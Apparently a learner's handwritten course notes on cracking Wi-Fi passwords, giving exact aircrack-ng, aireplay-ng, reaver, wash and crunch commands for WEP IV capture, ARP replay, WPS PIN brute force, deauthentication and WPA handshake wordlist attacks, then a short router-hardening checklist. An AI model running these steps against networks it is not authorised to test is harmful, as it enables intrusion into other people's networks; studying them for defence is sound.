WEP Cracking

- wired equivalent privacy
- old encryption, can be cracked easily
- Still used in some networks
- uses RC4 algorithm

* Data is encrypted using a key. Sent into the air. Router decrypts packet using the key.
  - A unique key is created for each packet. A random 24 bit initialization vector is added to router password to form the key.

Subject :

PAGE NO.:
DATE:

★ The initialization vector (IV) is sent in plain text & is too small (only 24 bits).
∴ IV's repeat ∴ Vulnerable

To crack WEP:
→ capture a large no. of packets (repeat)
→ analyse & crack. ↳ (airodump-ng)
↳ (aircrack-ng)

↳ # airodump-ng --bssid {} --channel {}
--write basic_wep mon0

after this:

aircrack-ng basic_wep-01.cap

→ this will show the key in ASCII also. If ASCII is not given, you can use KEY to unlock.

How?
↳ Copy the key (41:73:32:33:70)
↳ remove colons (4173323370)
↳ copy it
↳ paste the key in the password section.

∴ WEP ~~BF~~ Cracked.

★ It would have been difficult if network wasn't busy. The soln is to force the AP to generate new IVs.
→ To do this, we need to show a fake association with the Access Point.

Fake Authentication

airodump-ng --bssid {} --channel {}
--write arpreplay mon0

→ do ifconfig & get first 12 digits of 'unspec' field.

Subject :

PAGE NO.:
DATE:

aireplay-ng --fakeauth 0 -a {bssid} -h {MAC Address of wireless Adapter} mon0

→ this associates you to the target network. Now you can communicate w/ the network.

NOW:

1. We'll wait for an ARP Packet
2. Capture it & retransmit it
3. This causes the AP to produce another packet with a new IV
4. keep doing this till we have enough IVs to crack the key

∴ after association, do:

aireplay-ng --arpreplay -b {bssid} -h {MAC of WA3} mon0

→ once this is done, new packets with new IVs will be generated. And you can do aircrack-ng to get the key now.

aircrack-ng arpreplay-01.cap

WPA / WPA2 Cracking

★ Both can be cracked using the same methods
→ All methods work on both.
→ WPS is a feature used with WPA & WPA2.
→ it allows client to connect w/o password
→ Authentication is done using an 8 digit pin
↳ 8 digit is very small ∴ Vulnerable

Subject :

PAGE NO.:
DATE:

★ This way only works if router is configured not to use PBC (Push Button Authentication)

∴ WPS is just a loophole if available.

★ To check networks which have WPS available:

```
# wash --interface mon0
```

→ associate w/ the network now.

```
# aireplay-ng --fakeauth 30 -a {bssid}
  -h {mac WA} mon0
```

- Before running this, in another terminal do:

```
# reaver --bssid {bssid} --channel {}
  --interface mon0 -vvv --no-associate
```

→ this will bruteforce the pins.

★ Now run the association command, & get the pin.

★ If WPS is disabled, we need something else.

→ Now, packets contain no useful data. Only packets that can aid w/ the cracking process are the 4 handshaking packets.

Capture Handshake

→ run airodump-ng to get bssid

→ store data in a file by airodump-ng

→ now we must wait for a new client to ~~do~~ connect. But, we can force this by a deauthentication attack. So that the client disconnects & connect again.

∴ do deauth attack. (send 4 deauth packets)

→ once handshake is captured, close airodump-ng.

Subject :

PAGE NO.:
DATE:

☆ The handshake contains data that can be used to check if a key is valid or not.

∴ we'll create a wordlist containing a large no. of passwords. A ready-made wordlist can be downloaded.

Creating a wordlist

Syntax:

crunch [min # of ch.] [max #] [characters] -t [pattern] [if any] -o [fileName]

eg:

crunch 6 8 123abc$ -o wordlist -t a@@@@@b

Generates passes:

a aaaaab
a@&aa b
a $$$$ b etc.

☆ We'll run:

crunch 6 8 abc12 -o test.txt

→ this will generate a wordlist. This can now be used to attack WPA | WPA2.

☆ aircrack-ng will unpack the handshake to get various useful data. Our password from wordlist will be combined with this data to check if it is correct.

aircrack-ng wpa-handshake-01.cap -w test.txt (wordlist)

→ it'll validate & return correct password if it is there in wordlist.

Subject : _____

PAGE NO.:
DATE:

Security (So that we are safe)

→ run # ip route
→ it'll show default gateways in current network
→ copy router's ip address
→ go to web browser & go to login page
→ modify wifi settings
→ ensure Security ≡ WPA2 Personal
→ use a long password (atleast 14 characters)
(mix symbols)
→ disable WPS
→ MAC filtering (a list of MAC address that cant connect or only connect
↳ either allow few
↳ either deny few
↳ both

x x x